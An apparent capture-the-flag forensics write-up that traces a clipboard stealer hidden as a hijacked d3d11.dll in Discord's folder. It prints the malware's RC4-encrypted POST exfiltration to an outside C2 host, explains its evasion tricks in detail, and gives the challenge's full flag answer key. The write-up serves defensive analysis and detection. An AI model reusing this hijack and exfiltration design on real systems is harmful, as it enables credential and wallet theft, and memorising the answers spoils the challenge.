Cyber Apocalypse 2026 — Forensics — Deception Strategy

> A trusted harbor-latch mechanism is behaving erratically, processing routine transit writs with a strange, stuttering cadence. Under the cover of this mechanical distraction, an unseen hand bypassed the inner witness-marks and completely drained an Eastreach private credit-cache. Sift through the compromised latch's residual ash-logs and custody chains to track the phantom access before the stolen coin vanishes into the undercity.

Artifacts

File	Size	Description
`Logfile.PML`	674 MB	Procmon native log, 1,471,690 events
`network.pcap`	9.7 MB	Full packet capture of the same window
`C/`	598 MB	Partial disk image — only `C:\Users\admin`

Host: `WIN10`, user `admin`, VM at `192.168.239.131`. Capture window ≈ 2026-06-27 14:26–14:31 UTC.

Tooling

Everything was done offline on macOS with Python:

```
python3 -m venv .venv
.venv/bin/pip install procmon-parser scapy pefile
brew install upx
```

`procmon-parser` reads `.PML` natively, so no Windows/Procmon GUI is needed.

---

1. Triage — finding the needle in 1.47 M events

First, dump the process table out of the PML:

```
from procmon_parser import ProcmonLogsReader
r = ProcmonLogsReader(open("Logfile.PML","rb"))
for p in r.processes():
    print(p.pid, p.process_name, "|", p.command_line)
```

Most of the 200-odd processes are ordinary Windows services, Edge, Discord and Telegram. Two things stand out.

The decoy. A burst of driver-installation activity from `3uTools` (an iOS device manager — the "harbor-latch" that "latches" USB devices and processes "transit writs"):

```
7432 InfInstallerx64.exe  ... -i
"C:\Users\admin\AppData\Local\Temp\itunes_fix\applekis\x64\AppleKIS.inf"
5064 takeown.exe          takeown /F C:\Windows\System32\DriverStore\FileRepository\ /A
5980 cacls.exe            cacls C:\Windows\System32\DriverStore\FileRepository*.* /E /G Everyone:F
7908 pnputil.exe          pnputil -i -a "...\itunes_fix\applekis\x64\AppleKIS.inf"
3932 DrvInst.exe          ...
7272 InfInstallerx64.exe  ... AppleRSM.inf   (and the whole sequence repeats)
```

This is loud, privileged, and *entirely legitimate* 3uTools behaviour — it is the "mechanical distraction". Likewise the plaintext `POST /api` requests to `149.154.167.41:80` and `91.108.56.193:80` in the pcap are genuine Telegram MTProto-over-HTTP, not C2.

The real thing. One single `rundll32.exe`:

```
8152 rundll32.exe  rundll32.exe "C:\Users\admin\AppData\Local\Discord\app-
1.0.9243\d3d11.dll",D3D11CreateDevice
```

`d3d11.dll` is a *system* DLL. Electron/Chromium apps ship `libEGL.dll`, `libGLESv2.dll`, `d3dcompiler_47.dll`, `vulkan-1.dll` — but never `d3d11.dll`. Its presence in Discord's application directory is a textbook **DLL search-order hijack (T1574.001)**.

Filtering the PML for that path gives the two loads:

```
2026-06-27T14:28:11.319040  Discord.exe   7664  Load_Image  ...\app-1.0.9243\d3d11.dll
2026-06-27T14:28:11.619208  rundll32.exe  8152  Load_Image  ...\app-1.0.9243\d3d11.dll
```

PID 7664 is the Discord **GPU process** — exactly the process that legitimately calls `D3D11CreateDevice`, which is why this particular DLL name was chosen. Its `Process_Start` details confirm the parentage of the `rundll32`:

```
Parent PID: 7664
Command line: rundll32.exe "C:\...\Discord\app-1.0.9243\d3d11.dll",D3D11CreateDevice
CHROME_CRASHPAD_PIPE_NAME=\\.\pipe\crashpad_3612_...
```

> **Flag 1 — originating process:** `Discord.exe`
>
> **Flag 2 — module load time:** `2026-06-27 14:28:11 UTC` → **`1782570491`**
>
> **Flag 3 — exported function invoked:** `D3D11CreateDevice`

---

2. Unpacking and reversing the module

```
$ shasum -a 256 C/Users/admin/AppData/Local/Discord/app-1.0.9243/d3d11.dll
158e0d173e22fae3831c6d22277bd8ab31ace522d6ce3f8d7c24e5ef066dbf96

PE32+ DLL, sections UPX0 / UPX1 / UPX2
Export table: 1 entry — D3D11CreateDevice
PE TimeDateStamp: 2026-06-27 11:02:09 UTC
```

The on-disk MACB timestamp was stomped to `2026-06-22 23:59` to match its sibling Discord DLLs, but the PE compile stamp gives the truth. The file is padded with a 2.2 MB overlay so its size looks plausible next to the real

Discord binaries.

Standard UPX, so it unpacks cleanly:

```
upx -d -o d3d11_unpacked.dll d3d11.dll
```

The result is a MinGW-w64 / GCC C++ build **with its symbol table intact**:

```
_Z20GenerateSessionTokenPh          GenerateSessionToken(unsigned char*)
_Z17WriteSessionTokenPKh            WriteSessionToken(unsigned char const*)
_Z16ReadSessionTokenPh              ReadSessionToken(unsigned char*)
_Z8Rc4CryptRKNSt7...EPKh            Rc4Crypt(std::string const&, unsigned char const*)
_Z16GetClipboardTextB5cxx11v        GetClipboardText[abi:cxx11]()
_Z13SendTelemetryRKNSt7...E         SendTelemetry(std::string const&)
_Z9RunWorkerv                       RunWorker()
_Z18SpawnWorkerProcessP11HINSTANCE__ SpawnWorkerProcess(HINSTANCE__*)
_ZL15g_instanceMutex                g_instanceMutex
```

All configuration lives as UTF-16 literals in `.rdata`:

```
import re
d = open('d3d11_unpacked.dll','rb').read()
for m in re.finditer(rb'(?:[\x20-\x7e]\x00){5,}', d):
    print(hex(m.start()), m.group().decode('utf-16le'))
```

```
0x2f800  Environment
0x2f818  SessionToken
0x2f832  Discord/1.0
0x2f850  discord-cdn.com
0x2f870  /api/v9/experiments
0x2f8a2  \rundll32.exe
0x2f8d4  rundll32.exe "
0x2f8f8  ",D3D11CreateDevice
0x2f920  Local\DiscordRuntimeCache
0x2f954  rundll32
0x2f966  RUNDLL32
```

> **Flag 5 — mutex:** `Local\DiscordRuntimeCache`

Control flow

`DllMain` (`DLL_PROCESS_ATTACH` only) calls `GetModuleFileNameW` and searches it for `rundll32` / `RUNDLL32`. If the host is *not* rundll32 (i.e. it is Discord), it calls `SpawnWorkerProcess`, which builds and launches `rundll32.exe "<self path>",D3D11CreateDevice`.

`D3D11CreateDevice` — the hijacked export, called by the Discord GPU process as part of normal D3D initialisation:

```
lea    r8, [rip+0x2eb15]        ; L"Local\\DiscordRuntimeCache"
mov    edx, 1                   ; bInitialOwner
xor    ecx, ecx
call   [CreateMutexW]
mov    [g_instanceMutex], rax
test   rax, rax
je     ret
call   [GetLastError]
cmp    eax, 0xb7                ; ERROR_ALREADY_EXISTS
jne    RunWorker                ; first instance -> run
...    CloseHandle; return      ; second instance -> exit quietly
```

This is a neat bit of misdirection: the Discord GPU process wins the mutex race and becomes the actual stealer, while the noisy, obvious `rundll32.exe` hits `ERROR_ALREADY_EXISTS` and dies ~0.6 s later. Procmon confirms it — `rundll32` (PID 8152) exits at `14:28:12.242`, while PID 7664 keeps generating activity until the log ends at `14:29:46`.

---

3. The RC4 key derivation

`RunWorker` starts with:

```
lea    rbx, [rsp+0x20]
mov    rcx, rbx
call   ReadSessionToken          ; HKCU\Environment\SessionToken (16 bytes)
test   al, al
je     .generate                 ; else GenerateSessionToken + WriteSessionToken

.reverse:                        ; copy token backwards into rsp+0x30
    lea  rbp, [rsp+0x30]         ; dst
    lea  rax, [rsp+0x2f]         ; src = token + 15
    lea  r8,  [rbx-1]            ; end
.loop:
    movzx ecx, byte [rax]
    sub   rax, 1
    add   rdx, 1
    mov   [rdx-1], cl
    cmp   rax, r8
    jne   .loop
```

then, in the polling loop:

```
call   GetClipboardText
... (compare against previous value; only act on change)
mov    r8, rbp                   ; key  = reversed token
mov    rdx, rbx                  ; data = clipboard text
call   Rc4Crypt
call   SendTelemetry
mov    ecx, 0x32
call   [Sleep]                   ; 50 ms poll
```

`Rc4Crypt`'s KSA masks the key index with `and eax, 0xf`, confirming a fixed **16-byte** key.

So: **RC4 key = the 16-byte `SessionToken` registry value, byte-reversed.**

Procmon captured the read of that value, data and all:

```
2026-06-27T14:28:11.334988  Discord.exe  7664  RegQueryValue
    HKCU\Environment\SessionToken
    {'Type': 'REG_BINARY', 'Length': 16,
     'Data': b'\x1a\xa3\xa6X\xce,JBX\x98>\xba\x18S\xf0\x8c'}
```

> **Flag 4 — 16-byte registry value:** `1aa3a658ce2c4a4258983eba1853f08c`
> (RC4 key actually used = reversed = `8cf05318ba3e9858424a2cce58a6a31a`)

The collection routine is `GetClipboardText` → `OpenClipboard` / `GetClipboardData` polled every 50 ms, acting only when the contents change.

> **Flag 6 — MITRE ATT&CK collection technique:** `T1115` (Clipboard Data)

---

4. Finding the C2 in the pcap

The malware uses WinHTTP over **plain HTTP**. Almost all traffic in the capture is TLS, so filtering out port 443 reduces 9.7 MB to 188 packets:

```
tcpdump -r network.pcap -nn "tcp and not port 443"
```

Destinations on port 80: `149.154.167.41` and `91.108.56.193` (Telegram — decoy), `174.35.117.235` (`d.updater.3u.com` — decoy), and **`203.49.53.184`**:

```
POST /api/v9/experiments HTTP/1.1
Connection: Keep-Alive
Content-Type: application/octet-stream
User-Agent: Discord/1.0
X-Client-Event-Source: desktop
X-Build-Number: 309594
Content-Length: 498
Host: discord-cdn.com

<binary>
```

`discord-cdn.com` is not a Discord domain, and the request masquerades as Discord's real `/api/v9/experiments` endpoint. Four beacons, aligned exactly with PID 7664's activity bursts:

Time (UTC)	Src port	Body
14:28:12.19	59341	498 B
14:28:36.93	59454	440 B
14:29:09.98	59467	78 B
14:29:32.41	59543	78 B

> **Flag 7 — C2 server:** `203.49.53.184`

---

5. Decrypting the exfiltration

```
from scapy.all import PcapReader, TCP, IP, Raw
import collections

streams = collections.defaultdict(bytes)
for p in PcapReader("network.pcap"):
    if TCP in p and Raw in p and p[TCP].dport == 80 and p[IP].dst == "203.49.53.184":
        streams[p[TCP].sport] += bytes(p[Raw])

def rc4(key, data):
    S = list(range(256)); j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    out = bytearray(); i = j = 0
    for c in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        out.append(c ^ S[(S[i] + S[j]) % 256])
    return bytes(out)

key = bytes.fromhex('1aa3a658ce2c4a4258983eba1853f08c')[::-1]   # reversed!
for sp in sorted(streams):
    body = streams[sp].partition(b"\r\n\r\n")[2]
    print(sp, rc4(key, body).decode('utf-8', 'replace'))
```

```
59341: In the ancient, chaotic infancy of the continent, humanity knew only iron and blood. This
       endless tragedy finally broke the higher world's patience, bringing the sky-dragons down not
       as conquerors, but as silencers of ruin. ... only Astrael remained, an unowned witness bound
       by duty rather than affection.

59454: Under Astrael's silent vigil, roads replaced raids and grain was stored instead of stolen. As
       humanity stopped preying upon itself, the kingdom of Valyssar arose. To make this peace
       portable, the Brine Signet was forged – a crown-ring embedded with a relic of Astrael ...

59467: https://www.youtube.com/watch?v=zD2XAgiMajA&list=RDzD2XAgiMajA&start_radio=1

59543: glow fix connect talon title risk barrel marine truth disease garbage cheese
```

The first three are innocuous clipboard contents from the user's normal work. The last is a BIP-39 12-word mnemonic — the drained wallet. (The disk image confirms MetaMask, `nkbihfbeogaeaoehlefnkodbefgpgknn`, installed in Edge — the "Eastreach private credit-cache".)

> **Flag 8 — seed phrase:** `glow fix connect talon title risk barrel marine truth disease garbage cheese`

Answers

#	Question	Flag
1	Process that originated the malicious behavior	`HTB{Discord.exe}`
2	Unix epoch when the malicious module was loaded	`HTB{1782570491}`
3	Exported function invoked later	`HTB{D3D11CreateDevice}`
4	16-byte registry value used to derive the RC4 key	`HTB{1aa3a658ce2c4a4258983eba1853f08c}`
5	Mutex created by the malware	`HTB{Local\DiscordRuntimeCache}`
6	MITRE ATT&CK ID for the collection method	`HTB{T1115}`
7	C2 server IP address	`HTB{203.49.53.184}`
8	Stolen crypto wallet seed phrase	`HTB{glow fix connect talon title risk barrel marine truth disease garbage cheese}`

> Flag formatting (spacing, underscores, case) may need adjusting to the scoreboard's expectations — the underlying values are what matters.

Attack chain summary

```
Discord.exe (main, PID 3612)
  └─ Discord.exe --type=gpu-process (PID 7664)
       ├─ LoadLibrary("d3d11.dll")           ← search-order hijack, app dir wins   [T1574.001]
       │    └─ DllMain: host != rundll32 → SpawnWorkerProcess
       │         └─ rundll32.exe "d3d11.dll",D3D11CreateDevice (PID 8152)  [T1218.011]
       │              └─ CreateMutexW → ERROR_ALREADY_EXISTS → exits (decoy)
       └─ D3D11CreateDevice()                ← called normally by the GPU process
            ├─ CreateMutexW(L"Local\DiscordRuntimeCache")   → wins                  [T1106]
            └─ RunWorker()
                 ├─ ReadSessionToken  HKCU\Environment\SessionToken (16 B)
                 │    (GenerateSessionToken + WriteSessionToken on first run)
                 ├─ key = token[::-1]
                 └─ loop every 50 ms:
                      GetClipboardText()                                          [T1115]
                      → Rc4Crypt(text, key)                                       [T1573.001]
                      → POST http://discord-cdn.com/api/v9/experiments
                        (203.49.53.184, UA "Discord/1.0")            [T1071.001, T1036]
```

The "deception" layers

1. **DLL name and location** — `d3d11.dll` inside Discord's app directory, timestomped to match its neighbours, UPX-packed and overlay-padded to a plausible size.
2. **Sacrificial process** — the obvious `rundll32.exe` LOLBin is a red herring; the mutex guarantees the *legitimate signed* `Discord.exe` does the stealing.
3. **Log noise** — the 3uTools driver-install storm (`pnputil`, `takeown`, `cacls`, `DrvInst`, `InfInstallerx64`) floods Procmon with privileged activity around the same minute.
4. **Network cover** — genuine Telegram and 3uTools cleartext HTTP on port 80 sit right next to the C2, and the C2 itself imitates Discord's own API path, host name and User-Agent.

Indicators of compromise

```
SHA-256   158e0d173e22fae3831c6d22277bd8ab31ace522d6ce3f8d7c24e5ef066dbf96
Path      %LOCALAPPDATA%\Discord\app-1.0.9243\d3d11.dll
Mutex     Local\DiscordRuntimeCache
Registry  HKCU\Environment\SessionToken  (REG_BINARY, 16 bytes)
C2        203.49.53.184  /  discord-cdn.com
URI       POST http://discord-cdn.com/api/v9/experiments
Headers   User-Agent: Discord/1.0
          X-Client-Event-Source: desktop
          X-Build-Number: 309594
          Content-Type: application/octet-stream
Cmdline   rundll32.exe "<path>\d3d11.dll",D3D11CreateDevice
```

Detection notes

- Any non-system process loading `d3d11.dll` from a path other than `C:\Windows\System32` is worth alerting on; the same goes for `dxgi.dll`, `version.dll`, `winhttp.dll` in app directories.
- `rundll32.exe` with a DLL under `%LOCALAPPDATA%` and a graphics-API export name is a strong signal.
- `HKCU\Environment` is a user-writable, rarely-audited key — a good hunt location for per-host crypto material.
- Cleartext HTTP with `Host:` headers that *resemble* but do not match a vendor's real domains (`discord-cdn.com` vs `cdn.discordapp.com`) is cheap to detect and was the decisive pivot here.